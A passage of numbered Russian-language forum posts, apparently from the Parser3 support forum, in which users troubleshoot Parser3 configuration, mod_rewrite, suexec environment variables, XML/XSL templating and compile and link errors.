При сравнении на четность."
"35609","А разве нельзя каким-то образом проверить количество параметров в первой форме и на основании этого решать, выводить форму или нет? Т.е., просто добавляется один if... \
\
Имитировать нажатие на кнопку в данной задаче - странное решение..."
"35610","Подскажите, пожалуйста, как средствами mod_rewrite\
Вот такое: ?diary_year=2004&diary_month=02&diary_day=05\
Переделать в такое: /2004/02/05/\
\
Точнее, что бы пользователь видел /2004/02/05/ а шкрипт получал ввиде ?diary_year=2004&diary_month=02&diary_day=05\
\
Такое возможно?"
"35611","http://devel.deathlife.kiev.ua/_test.html\
\
Собирается всё отлично, без каких-либо проблем, но почему-то не видит экспортную функцию mysql_init\
\
[code]driver failed to initialize client library '/usr/local/lib/libparser3mysql.so', function mysql_init was not found [/code]"
"35612","это два РАЗНЫЕ файла. один - драйвер парсера, а другой - клиентская библиотека MySQL через которую драйвер общается с MySQL сервером.\
\
посмотрите что написано в предлагаемым для скачивания конфигурационном auto.p..."
"35614","[code]\
#$Id: auto.p.dist.in,v 1.11 2004/02/13 13:59:51 paf Exp $\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
#$sqldriversdir[$confdir/lib]\
$sqldriversdir[/usr/local/lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       /usr/local/lib/libparser3mysql.so\
#pgsql  $sqldriversdir/libparser3pgsql.so       /usr/lib/libpq.so\
#oracle $sqldriversdir/libparser3oracle.so      /var/oracle/OraHome1/lib/libclntsh.so?ORACLE_HOME=/var/oracle/OraHome1&ORA_NLS33=/var/oracle/OraHome1/ocommon/nls/admin/data\
}]\
]\
[/code]\
Что здесь не так прописано?\
"
"35615","Вообщем-то разобрался, что да как.\
\
RewriteRule ^diary/(\\d{4})/(\\d{2}|\\d)/(\\d{2}|\\d)/ diary/?diary_year=$1&diary_month=$2&diary_day=$3\
\
Оно, работает, но как-то не очень-то красиво выглядит если написать /2003/1/1/\
Как заставить mod_rewrite приводить /2003/1/1/ к /2003/01/01/?\
"
"35616","я предлагаю вас скачать из соотв. раздела оригинал и посмотреть что там написано в таблице $SQL.drivers"
"35619","$CHARSETS:\
windows-1251 	$charsetsdir/windows-1251.cfg 	relative path. testing impossible\
koi8-r 	        $charsetsdir/koi8-r.cfg 	relative path. testing impossible\
\
\
Вообщем-то всё заработало, но как-то очень сложно :))\
\
Что такое [b]relative path. testing impossible[/b]?\
\
Так же:\
$CLASS_PATH: undefined\
\
Она хочет абсолютный или относительный путь?\
\
Почему не реагирует на переменные окружения поставленные через .htaccess?\
\
[url=\"http://devel.deathlife.kiev.ua/env.cgi\"]Переменные окружения[/url]\
[url=\"http://devel.deathlife.kiev.ua/_test.html\"]Тестовая страница[/url]\
\
"
"35621","Сказки - не будет.\
GNU GENERAL PUBLIC LICENSE отменил все \"сказки\" :)))"
"35622","в случае если html-файл находиться в директории http://domain.ru/subdomain/ парсер работает, а если создать домен третьего уровня http://subdomain.domain.ru/ не работает ...cgi директория с парсером находиться в корне domain.ru ...не хотелось бы при создании поддоменов каждый раз копировать парсер в новую cgi-директорию ....есть выход?"
"35623","если сложно скопировать предлагаемый файл - то я не знаю как это прокомментировать.\
\
relative path - поиск слева, там находится в частности это: http://www.parser.ru/forum/?id=20825\
\
CLASS_PATH - ссылка на документацию: http://www.parser.ru/docs/"
"35624","Смотрите настройки Apache\
\
[url=\"http://httpd.apache.org/docs/\"]Документация к Apache[/url]\
Смотреть: alias, <location>, <directory>"
"35625","уже обсужлалось, они приходят REDIRECT_xxx (насколько запомнил)"
"35626","Приходят куда?\
К парсеру?\
\
Почему их видно через [url=\"http://devel.deathlife.kiev.ua/env.cgi\"]перловый скрипт[/url], а через Parser3 их не видно?\
\
[i]P.S. Я даже пересобрал Apache, что бы он под suexec не обрезал CGI_PARSER...[/i]"
"35627","[b]Hint:[/b] \"уже обсуждалось\" == \"пользуйтесь поиском по форуму\"."
"35628","Прочитал всё, что выводит поиск с ключом CGI_PARSER\
Но, так и не могу понять. :(\
\
Одни говорят - работает, другие - не работает\
\
У меня парсер не видит, ни CGI_PARSER_CONFIG не REDIRECT_PARSER_CONFIG\
\
Он вообще не видит ни одной переменной, поставленной через SetEnv\
\
.htaccess\
SetEnv TEST_VAR \"This is a test\"\
\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
\
index.html\
[code]\
REMOTE_ADDR: $env:REMOTE_ADDR<br>\
CGI_PARSER_CONFIG: $env:CGI_PARSER_CONFIG<br>\
REDIRECT_CGI_PARSER_CONFIG: $env:REDIRECT_CGI_PARSER_CONFIG<br>\
TEST_VAR: $env:TEST_VAR<br>\
[/code]"
"35629","найдите обсуждение и там увидите все ответы на вопросы."
"35630","Проблема нашлась\
\
Всё дело в suexec :(\
\
Он обрезает переменные :(\
Нужно его будет пересобрать, может быть он не будет отрезать переменные REDIRECT_PARSER_..\
\
\
Спасибо за внимание.\
\
P.S. Может быть добавить в FAQ сей момент, т.к. не сразу очевидно, что suexec отрезает переменные.\
И для того, что бы Parser заставить работать с suexec и SetEnv - нужно пересобирать Apache & suexec"
"35631","для parser необязательно какой-то конфиг вообще отдельно иметь.\
любой auto.p в веб-пространстве может содержать @conf, и этого достаточно.\
\
т.е. просто не задавайте конфигурационный файл вообще, а конфигурацию впишите в /auto.p"
"35633","Это _уже_ понятно.\
Но, всё-таки есть много разных вариантов, и возможно понадобится использовать именно SetEnv\
\
suexec'ом, подводных камней очень много.\
Сейчас соберу всё вместе, в более оформленный трактат \"Как я ставил Parser v3.x.x и как suexec мешал это делать\" :)"
"35634","Для примера была построена схема:\
   |__ auto.p\
   |__ news/\
   |   |___auto.p\
   |   |___index.html\
   |   |___details/\
   |       |_______ auto.p\
   |       |_______index.html\
   |__contacts/ |\
            |_______auto.p\
          |_______index.html\
\
Вопрос: \
\
Каков order of operations?\
Сначало в текущей директории, потом в $CLASS_PATH?\
$CLASS_PATH смотрится рекурсивно?\
\
Для примера:\
/var/www/example.com/\
cgi-bin\
  |_> parser3.cgi  \
html\
  |__ index.html\
  |__ .htaccess (SetEnv REDIRECT_CGI_PARSER_CONFIG \"/var/www/example.com/etc/auto.p\")\
  |__ news/\
  |_____ auto.p\
  |_____ index.html\
etc\
  |_> auto.p\
\
<virtual example.com>\
  Alias /cgi-bin/ \"/var/www/example.com/cgi-bin/\"\
</virtual>\
\
В данном случаи parser3.cgi вынесен из DOCUMENT_ROOT по соображениям безпасности.\
Как Parser будет просматривать каталоги в надежде собрать класс MAIN из файликов auto.p?\
\
И ещё: auto.p ищется не зависимо от того, что прописано в CGI_PARSER_CONFIG? или ищет файлы с именем \"главного\" конфига?\
"
"35635","предлагаю подсократить трактат до темы:\
«какими вот этими несложными действиями достичь нужного результата»"
"35636","Вся соль в том, что для перевода строки используются разные символы.\
В ansi - \\n\
В HTML - <br>"
"35637","Чтобы ,наподобие ^taint, можно было выводить только заданую часть картинки в зависимости от каких-либо условий"
"35638","[url=\"http://parser.ru/faq/general/\"]Вот почему[/url]\
Там всё написано."
"35639","P.S. следующее ваше сообщение ответ на которое есть в документации я буду удалять."
"35640","есть некий сайт\
Но писать в каждом .html ^header[] & ^footer[] - не очень-то удобно\
\
Как обзывается конструктор класса MAIN в коротый можно засунуть код блока @header[]?\
\
В доку нащёл только один конструктор @postprocess[]\
\
Какие параметры при вызове конструктора?\
И когда именно он вызывается?"
"35641","@postprocess[] - конструктор? здорово :)\
а про auto.p вы видимо не слыхали..."
"35642","Первая версия\
http://www.kmtn.ru/~adasoft/sqlite_parser3.zip\
\
Что бы получить под никсы порт читайте \
http://www.parser.ru/forum/?id=35547"
"35643","auto.p?\
Хм...\
\
Насколько я понимаю, это файл в котором определяются функции, переменные и.т.д.\
\
Но как заставить Parser в каждый файл .html добавлять банальное <html><body>, а в конце файла </body></html>?\
\
\
P.S\
Вторые сутки не могу вьехать в архитектуру языка. :("
"35645","В доку постоянно нахожусь, в соседнем табе открыта.\
\
Ткните носом в конструкторы класса MAIN, plz"
"35646","могу ткнуть пальцем в уроки - 1, 2, 3, 4, 5\
может тогда вы поймете чем метод от конструктора отличается"
"35647","Урок 1. Меню навигации\
Чёт ни где не нащёл НИ ОДНОГО УПОМИНАНИЯ О <html>\
\
После выполнения примера - мы получаем первый тэг <table>, а не <html> и нет ни какого намёка на preprocess"
"35648","а что у нас в уроке 2?\
жмем ctrl + f набираем <html>..."
"35649","Про сборку и обработку класаа MAIN подробно написано в http://www.parser.ru/docs/lang/mainclass.htm\
\
Если есть желание весь сайт собирать одним скриптом, то читаем про mod_rewrite - в форуме это подробно обсуждалось."
"35650","Мдя.. :(\
Тяжело всё-таки с Perl'a переежать :(\
\
Спасибо, вьехал."
"35651","Просто мне интересно что такое \"jad\".\
А навороты для обфускации не противоречат GNU"
"35652","---auto.p---\
@main[]\
 ^header[]\
 ^footer[]\
\
@header[]\
 <html>\
  <body>\
\
@footer[]\
  </body>\
 </html>\
\
\
Но чёт в index.html не видно тэгов\
В чём может быть глюк моего мозга?\
\
если добавляю в index.html\
^header[]\
THis is a test\
^footer[]\
\
Работает.\
\
Но почему ^main[] не вызывается?\
"
"35653","1. http://google.com\
2. пишем jad и жмем enter\
3. смотрим на первую ссылку :)\
\
P.S. думаю ПАФ имел ввиду это"
"35654","Со сборкой - понятно, уже чуть-чуть вьехал\
Понял, что класс MAIN by default пуст, и он же является конструктором\
\
Спасибо.\
"
"35655","да потому что он итак @main[]!"
"35656","цитата со страницы документации, ссылку на которую вам сегодня уже неоднократно давали:\
[quote]Если в файле не определен ни один метод, то все его тело считается определением метода main.[/quote]"
"35657","Это понятно\
\
Поправте меня, пожалуйста, если я не прав\
\
В auto.p я перечисляю все необходимые мне данные, а так же определяю @main[] (если мне это нужно)\
Далее я обращаюсь в index.html и там пишу, всё что мне в голову взбредёт. \
\
Перед тем как отдать пользователю файл парсер сделает следующее:\
1. Прочитает auto.p и выполнит @main[] если он там есть\
2. Отпарсит страницу и выдаст пользователю?\
\
[url=\"http://devel.deathlife.kiev.ua/auto.p\"]auto.p[/url]\
[url=\"http://devel.deathlife.kiev.ua/index.html\"]index.html[/url]\
\
"
"35659","Вьехал\
\
Ура\
\
Спасибо всем, кто терпел меня на форуме\
\
К Парсеру - привыкнуть нужно, но очень удобно.\
\
Баг/фича:\
Описал всё в auto.p (Уроке 2)\
Но в index.html - ни чего не добавил\
\
Попытался посмотреть, а нет там ни чего\
\
Как оказалось, нужно хоть что-то да написать там, а именно какую-то функцию -- всё остальное воспринималось как переопределение класса main"
"35660","не пашет. В FAR установил атрибуты r-x r-x r-x на parser3.cgi, реузльтат - опять нулевой."
"35661","и никаких \"киких-то\" функций писать не надо, можно просто\
[code]@auto[][/code]"
"35662","я милионный посетитель и по получил в глаза разноцветные мигающие салюты! %)) еще 4 Days 3 Night Caribbean Cruise я выграл %))"
"35663","REDIRECT_* появляется только при использовании mod_rewrite\
При каждом цикле переписи добавляется новый REDIRECT_*"
"35665","[url=\"http://www.artlebedev.ru/portfolio/?some_string\"]Забавно получается[/url]."
"35666","<counters>\
  <counter>\
    ^some_function[]\
  </counter>\
  <counter>\
    ^other_function[]\
  </counter>\
</conters>\
\
По идеи должно работать, если я секцию <counter> прочитаю в какую-то переменную, а потом заставлю выполнить Parser код которых хранится в этой переменной?\
Так?"
"35669","в вашем коде закрывающий тег counters не валиден."
"35670","Код хотя бы будет неудобно читаемым, если сказать мягко.\
Этого в 90% случаев полне достаточно..."
"35671","libgd"
"35672","найден человек:\
http://www.parser.ru/forum/?id=35604 [13.12 17:33]\
получен результат:\
http://www.parser.ru/forum/?id=35642 [14.12 19:37]\
\
о чём это говорит? что кому нужно, тот всегда добьётся.\
поздравляем Niko!"
"35673","приведите здесь по пунктам:\
\
> в FAQ написано это\
я это сделал, получил это."
"35674","так что всё в порядке."
"35675","Ошибочка вышла, буквы забыл.\
Но вообщем-то думаю в правильном направлении?"
"35677","Подобных комманд в парсере нет приницпиально или я что-то упустил?"
"35678","А разве когда нет страницы оно не должно выдавать 404?"
"35681","в качеств die используйте ^throw\
прекрасно всё уронит и запись в журнале сделает.\
\
в качестве exit тоже.\
в main просто ловите это исключение и тихонько выходите."
"35683","идет выборка:\
select ... where (a like \"%....%\") and (a like \"%....%\") and (a like \"%....%\")\
\
Выберутся только строки, в которых выполнятся все условия. Если использовать or - то те, где выполнится хотя-бы одно условие.\
\
Мне нужно выбрать [b]строки, в которых выполняется максимальное кол-во условий[/b] как ?"
"35685","Спасибо.\
Код suexec уже переписал."
"35686","where ... in (select .... where ...)\
\
P.S. Бедный сервер..."
"35687","Пишется простая конструкция\
^if($var1 eq $var2){\
 true\
}{\
 false\
}\
\
Если её записать как \
[code]\
^if($var1 eq $var2)\
 {\
 }{\
 }\
[/code]\
\
То Parser3 ругается следующим образом:\
'if' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) [parser.runtime]\
\
Так же наблюдается не совсем понятная реакция Parser3 на наличие ;\
Пример:\
\
[code]\
^if($sections == $sections.section_id){\
  <span style=\"color:#FFFFFF\">\
  ^rem{Этот вариант у него проходит без каких либо проблем}\
}{\
  <span slyle=\"color:#000000; other CSS\">\
  ^rem{Странная реакция на ;, что приводит к выше указанной ошибке}\
}\
[/code]\
\
Т.е. во всём тексте нужно квотить точку с запятой ^?\
\
\
Sources:\
[url=\"http://www.parser.ru/docs/lang/opif.htm\"]if. Выбор одного варианта из двух[/url]\
[url=\"http://www.parser.ru/docs/lang/stringlit.htm\"]Строковые литералы[/url]"
"35690","Почему? Ищите в форуме - неоднократно обсуждалось."
"35691","where in(select - это почти то же что и or"
"35692","Сапасибо за хинт. На mySql стало быть нельзя..."
"35693","хм.. даже в голову прийти не могло такое. :("
"35696","символ ; нужно экранировать, вот так: ^;"
"35697","Ройте доки по мускулу в сторону полнотекстового поиска. Там МНОГО интересного."
"35698","Что Вы имеете ввиду, когда говорите \"не всё показываете\"?"
"35700","Исправте меня, если я не прав:\
1. Достаём всё их DB\
2. из п.1. формируем XML\
3. на XML полученный в п.2. накладываем XSL\
4. Получаем HTML\
\
Получается, что каркас всего сайта хранится именно в XSL файле?!\
(точнее сказать, создаётся XSL'ем на базе XML'a)\
\
А parser нужен только для работы с пользователем?\
(Обработка форм, управление навигацией, выполнением пп. 1-4...)\
"
"35701","Очень не привычно построенная документация, если честно :(\
\
А пользоватся поиском достаточно сложно, ввиду сложности понимания архитектуры. \
Если знаешь что искать - найдёшь. А если не знаешь?\
\
Что касается ^if, то ни в одном языке такой фичи не было, и при переходе скажем от связки Perl+Template-Toolkit - достаточно сложно воспринимается идеология Parser'a, хоть она на много удобнее и проще.\
"
"35702","в [url=\"/forum/?id=35380\"]этом сообщении[/url] ПАФ предлагает обратить внимание на его первое предложение своего [url=\"/forum/?id=35358\"]предыдущего поста[/url], в котором всего две строки: одна строка - одно предложение.\
\
в [url=\"/forum/?id=35388\"]этом сообщении[/url] он повторяет свою просьбу, пишет вам три шага, которые вам требуется сделать. вы часть его вопросов молча игнорируете.\
\
диагноз: в одном треде он просит вас сделать [b]три[/b] раза простую вешь. вы это игнорируете. вы ещё надеетесь получить помощь?"
"35703","В Oracle есть такое понятие как returned values.\
Т.е. после вставки в базу Oracle, к примеру, возвращает номер вставленной строки\
\
Как получить значение этой переменной?\
\
P.S. Сервер находится под большой нагрузкой, и деласть count не очень-то хочется. :("
"35704","http://www.parser.ru/forum/?id=15856\
Прочитав данную ветку возник вопрос:\
Что делать с транзакциями?"
"35705","Хм..\
В ветке http://www.parser.ru/forum/?id=35428 я написал\
пункт 1. ОК\
\
[quote]\
2. configure в каталоге parser3 запустите с дополнительным флагом --with-dynamic-stdcpp\
[/quote]\
PAF, попросил я сделал, о чём и написал:\
\
[quote]./configure --with-dynamic-stdcpp\
make\
В ответ на мы получаем:\
pa_threads.o(.text+0x25): In function `Mutex::~Mutex(void)':\
/var/spool/samba/Svalka/parser/parser3/src/targets/cgi/pa_threads.C:22: undefined reference to `__builtin_delete'\
parser3.o(.text+0x640): In function `real_parser_handler(char const *, char const *, bool)':\
[url=\"http://www.parser.ru/forum/?id=35428\"]далее[/url]\
[/quote]\
\
Далее PAF попросил сделать следующее\
[quote]\
3. приведите строку компоновки и текст ошибки (если ошибка ещё останется)\
[/quote]\
\
Во это и стало мне не совсем понятно, о чём я и [url=\"http://www.parser.ru/forum/?id=35698\"]спросил у PAF'a[/url]\
\
Или я соовсем не врубаюсь, в то, что тут происходит? :(\
\
P.S. Спасибо за терпение"
"35707","Кто может написать скрипт интернет-магазина, наподобие http://www.plati.ru, напишите мне. О цене договоримся."
"35708","Прочитал:\
http://www.egoroff.spb.ru/portfolio/10.html\
\
Там был найден кусок текста\
\
[code]\
<sections>\
	<item id=\"1\" in=\"yes\">\
		<title>Принтеры</title>\
		<dir>printers</dir>\
\
		<item id=\"11\" in=\"yes\" hit=\"yes\">\
			<title>Лазерные</title>\
			<dir>laser</dir>\
		</item>\
\
		<item id=\"12\">\
			<title>Струйные</title>\
			<dir>ink</dir>\
		</item>\
	</item>\
\
	<item id=\"2\">\
		<title>Мониторы</title>\
		<dir>monitors</dir>\
\
		<item id=\"21\">\
			<title>Электронно-лучевые</title>\
			<dir>crt</dir>\
		</item>\
\
		<item id=\"22\">\
			<title>Жидко-кристаллические</title>\
			<dir>tft</dir>\
		</item>\
	</item>\
\
</sections>\
[/code]\
\
[quot]\
В вышеприведенном примере, мы находимся в разделе Продукты (in установлен) и находимся на главной странице подраздела Пиво, раздела продукты (in и hit установлены). О том, как их устанавливать динамически (с помощью 3-го парсера), ну и о том, как вообще такой код парсером формировать, расскажу как-нибудь в другой раз.\
[/quot]\
\
Вопрос: Так как же всё-таки устанавливать?\
А то, очень хочется \"живое\" меню на сайте\
\
На данный момент логика подсказывает:\
[code]$navigation_xml[^xdoc::load[/templates/xml/navigation.xml]][/code]\
Получив [code]$navigation_xml[/code] просмотреть его от и до, и сравнить каждый атрибут uri и если он совпадает с [code]$request:uri[/code], то поставить атребут в нужное состояние.\
\
Покопавшить в форуме http://www.parser.ru/forum/?id=34663\
\
Понял, как просматривать xdoc\
\
Но вот как ставить атрибуты?\
\
\
\
\
"
"35709","Основная задача Парсера - генерация xml и применение к нему xsl.\
А уже в генерацию входят те задачи, которые вы привели."
"35710","Получить и обработать запрос.\
Построить на основании информации из БД дерево разделов, где, исходя из запрощенного раздела и нахожнения непосредственно в нём или глубже, выставить атрибуты."
"35711","Проблемы с пониманием и красотой ещё остались, но всё-таки уже по чуть-чуть втягиваюсь\
\
С динамической растоновкой атриботов - получилось\
\
[code]\
     <xsl:for-each select=\"section\">\
        <xsl:if test=\"@state='off'\"><td style=\"border-right: 1px solid #777777\"><xsl:apply-templates select=\".\"/></td></xsl:if>\
        <xsl:if test=\"@state='on'\"><td class=\"selected\" style=\"border-right: 1px solid #777777\"><xsl:apply-templates select=\".\"/></td></xsl:if>\
     </xsl:for-each>\
\
$navigation_xml[^xdoc::load[/templates/xml/navigation.xml]]\
$sections[^navigation_xml.select[/navigation/section]]\
^for[i](0;$sections-1){\
  $node[$sections.$i]\
  ^if(^node.getAttribute[uri] eq $request:uri){\
        ^node.setAttribute[state;on]\
        }{\
        ^node.setAttribute[state;off]\
        }\
}\
[/code]"
"35712","Т.е. то, что я раньше верстал на html и динамически вставлял туда блоки тепеть это нужно делать так:\
\
Сверстать ВСЁ на XML'e, т.е. со всякими там <table> и прочими, наложить на XML структуру XSL и получить понятный для браузера HTML?\
\
И ещё:\
Сейчас моё понимание достигло того, что отдельные блоки я верстаю на XML, пишу под каждый блок свой XSL, а парсером уже выставляю атрибуты и собираю блоки воедино. Но при такой схеме работы, у меня получается html tag's встречаются и в коде парсера и в XSL\
Насколько это корректный/правильный подход?\
\
Или всё-таки подумать и написать ПЛОНОСТЬЮ структуру сайта на XML, а потом уже наложить XSL и в конечном итоге получить один XML и один XSL для всего сайта?"
"35713","Ситуация такая:\
Написал сайт, тестил дома на Win ДЕНВЕРе. Все работало, в т.ч. картинки, ссылки, меню грузилось из Sections.cgf и т.п.\
Решил залить это дело в сеть. Установил cgi скриптом парсер (ОС - FreeBSD), вроде заработал. Создал для тестов папку parser и туда все свои труды выложил. Только сначала оно работать отказалось в принципе: писал \"Unhandled Exception\". Посмотрел лог ошибок - парсер пытался найти sections.cfg в корне сервера, а не в папке parser где все это дело лежит. Пришлось поправить ссылку на sections.cfg: вместо load[/sections.cfg] пришлось сделать load[sections.cfg] - заработало, но сами понимаете только пока находишься в корне папки parser. Когда пытаешься уйти на любую ссылку, например, about/, получаешь все тот же \"Unhandled Exception\". Веть не класть же в каждую папку все картинки и файлы, которые лежат в корне? Все картинки тоже не работают, т.к. прописаны как /pic.jpg, т.е. в абсолютном пути и ищутся в корне сервера. Собственно, как исправить, чтобы все корректно работало вне зависимости от того, в какой папке оно лежит? Еще раз повторю, что под win все работало нормально, но там оно лежало в корне. Заранее благодарен."
"35714","Методы и классы отдают xml блоки.\
Затем они объединяются в один документ.\
В последнюю очередь к нему применяется единственное xsl преобразование.\
Соответсвенно в xsl должны быть шаблоны для всех модулей, которые есть в итоговом xml.\
\
Лишнюю информацию (типа пустых table, tr/td и прочего) в xml пихать не нужно.\
Это чистая информация.\
Для таблицы, к примеру, генерите просто дерево-список, которое потом xsl трансформируете во что угодно.\
\
Подход с одним xsl плох только одним - из-за большого размера выходит достаточно не маленькое время преобразования.\
Поэтому я обычно создаю несколько xsl, которые инклюдю из одного, а он в свою очередь содержит только необходимые конкретной странице шаблоны (вызовы на них) и выбирается в зависимости от типа страницы."
"35715","используем это:\
[code]$request:document-root[$env:DOCUMENT_ROOT/parser][/code]\
\
При этом не забываем что такой путь будет срабатывать только для загрузки/сохранения файлов из кода парсера, для внешних css, картинок и javascript нужно писать прямой путь от корня веб пространства. Либо почикать все первые слеши, в любом редакторе заменив =\"/ на =\""
"35716","[code]\
\
^if($var eq $var2){    <---------- первая фигурная скобка должна неразрывно идти после оператора \
\
<--- Здесь как угодно \
\
}{    <--- Здесь две скобки тоже неразрывно \
\
<---  Здесь как угодно\
\
}\
\
P.S.: Такой уж синтаксис - я то же поначалу не выкупал, однако эта жесткость нисколько не мешает, и наоборот заведомо\
принуждает к красивому коду.\
\
P.P.S.:   Насчет ; - этот символ Parser в некоторых контекстах может воспринять, как код, поэтому надо предварять\
символом ^     т.е.  все ; в стилях и в HTML, должны быть вида style=\"font-size:10px^;font-weight:bold\"  например.\
\
P.P.P.S.:\
В C и Perl тоже на подрезать некоторые символы косой  \\\
\
\
\
[/code]"
"35718","что мы пытаемся вам помочь, а вы наши письма не читаете совсем.\
вы их почитайте, и выполните буквально, без творческого подхода."
"35719","вот один известный макроязык: M4\
[http://www.gnu.org/software/m4/manual/m4.html]\
берёт начало от другого языка, родившегося в 1965.\
\
вот целый их обзор:\
http://linuxfinances.info/info/macros.html"
"35721","приведите SQL запрос, краткое описание таблицы, и что за returned value вы могли бы получить, конкретное число."
"35722","в oracle autoincrement делают при помощи [b]trigger[/b], который хранит счётчик в [b]sequence[/b].\
\
как узнать текущее значение sequence, наверное, почитаете?"
"35724","Я меня есть база \"txt\" формате, которую хотелось бы загружать (выполнять функцию загрузки) как HTML.\
В parser есть загрузка имен файлов\
<code>$fi[^file:list[/auto;\\.txt^$]]\
^fi.menu{\
    $fi.name<br> \
}\
<a href=\"$file.name.html\">$file.name</a><br>\
</code>\
Загружаються все имена \"txt\" файлов в папке \"auto\" и им подписываеться расширение \"html\".\
Вопрос: Что дальше? Но хотя бы загружаються txt, а как что бы parser обрабатывал их как HTML.\
Вознак вопрос:Зачам? Поисковые ситемы лючше понимают домен/конкрет_имя_сайта, что на 20% повышает ваш сайт в рейтингах поисковых систем, а не index?папка=имя_страницы."
"35725","А чего вы хотите добится?\
\
Что бы Parser обрабатывал .txt, добавте в httpd.conf\
AddHandler parser3-handler txt\
\
А для красоты ещё почитай-те документацию по mod_rewrite что бы превратить http://www.example.com/auto/some.txt в http://www.example.com/auto/some.html"
"35726","[quot]\
по шагам:\
1. распакуйте исходники в новый каталог\
[/quot]\
\
Выкачиваем Parser3\
[darkman@shadow PAF]$ wget http://www.parser.ru/f/1/download/src/parser-3.1.3.tar.gz\
Распаковываем\
[darkman@shadow PAF]$ gunzip -c parser-3.1.3.tar.gz | tar xvf -\
[darkman@shadow PAF]$ cd parser-3.1.3\
\
Переходим к п.2\
[quot]\
2. configure в каталоге parser3 запустите с дополнительным флагом --with-dynamic-stdcpp\
[/quot]\
[darkman@shadow parser-3.1.3]$ ./configure --with-dynamic-stdcpp\
получаем [url=\"http://www.deathlife.kiev.ua/paf/config.log\"]config.log[/url]\
\
Выполняем\
[darkman@shadow parser-3.1.3]$ make\
\
[quot]\
3. приведите строку компоновки и текст ошибки (если ошибка ещё останется)\
[/quot]\
\
В ответ получаем:\
\
Строка компановки: \
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -lgc   -lstdc++ -lcrypt -lm\
\
\
/var/spool/samba/Svalka/parser/PAF/parser-3.1.3/src/lib/smtp/smtp.C:466: undefined reference to `__eh_alloc'\
../../lib/smtp/libsmtp.a(smtp.o)(.text+0x9e4):/var/spool/samba/Svalka/parser/PAF/parser-3.1.3/src/lib/smtp/smtp.C:466: undefined reference to `__cp_push_exception'\
../../lib/smtp/libsmtp.a(smtp.o)(.text+0x9ec):/var/spool/samba/Svalka/parser/PAF/parser-3.1.3/src/lib/smtp/smtp.C:466: undefined reference to `__throw'\
../../lib/smtp/libsmtp.a(smtp.o)(.text+0xa65):/var/spool/samba/Svalka/parser/PAF/parser-3.1.3/src/lib/smtp/smtp.C:476: undefined reference to `terminate(void)'\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/var/spool/samba/Svalka/parser/PAF/parser-3.1.3/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/var/spool/samba/Svalka/parser/PAF/parser-3.1.3/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/var/spool/samba/Svalka/parser/PAF/parser-3.1.3/src'\
make: *** [all-recursive] Error 1\
\
[url=\"http://www.deathlife.kiev.ua/paf/make.log\"]Полный лог[/url] (672Kb)\
\
[b]Ув, PAF это вы хотели?\
Или я что-то опять не так сделал?[/b]"
"35727","Есть огромное подозрение, что это из-за threads :(\
threads очень сильно отличаются в ядрах 2.4.x & 2.6.x\
\
FC1 - кажется работает на 2.4.x\
FC2 - 2.6.5-1.358\
FC3 - 2.6.x (ещё не ставил)\
\
Но если соберётся на FC2, то больше чем уверен, что собирётся и на FC3\
Это ещё не всё, возможно будут проблемы со сборкой mod_parser3 под Apache 2.x"
"35728","1. чтобы сейчас быстренько скомпоновать, и получить результат:\
скомпонуйте вручную командой\
[code]\
g++ {все те же опции за исключением -lstdc++}\
[/code]\
\
2. чтобы помочь науке, чтобы в будущем на подобных платформах не было подобной проблемы, попробуйте добавить к строке компоновки ключ -lgcc.\
\
3. если 2 не выйдет, добавьте к приведённой вами строке компоновки параметр /usr/local/уточните/libgcc.a"
"35729","есть, но в основой CVS пока не включен, руки уже с год не доходят :(\
\
вам реально нужно? планируете нагрузку вроде www.mts.ru?"
"35730","Ты что! На Parser такая вещь работать не будет - это ж несерьезный язык, а игрушка для детей :( ."
"35731","И все у нее работет. И не только у нее.\
\
З.Ы. Просто у кого-то руки кривоваты."
"35733","[darkman@shadow cgi]$ [b]g++[/b]  -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl [b]-lgc[/b]  -Wl,-Bstatic -Wl,-Bdynamic -lcrypt -lm\
\
Вот так оно скомпоновалось, но при запуске парсера выдаёт:\
\
[darkman@shadow cgi]$ ./parser3\
./parser3: error while loading shared libraries: libgc.so.1: cannot open shared object file: No such file or directory\
\
Т.е. не видит оно /usr/local/lib/libgc.so.1\
Почему?\
\
Что касается остальныех пунктов науки не компонуется при\
[b]gcc[/b]  -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl [b]-lgcc[/b]  -Wl,-Bstatic -Wl,-Bdynamic -lcrypt -lm\
\
И даже так не компонуется:\
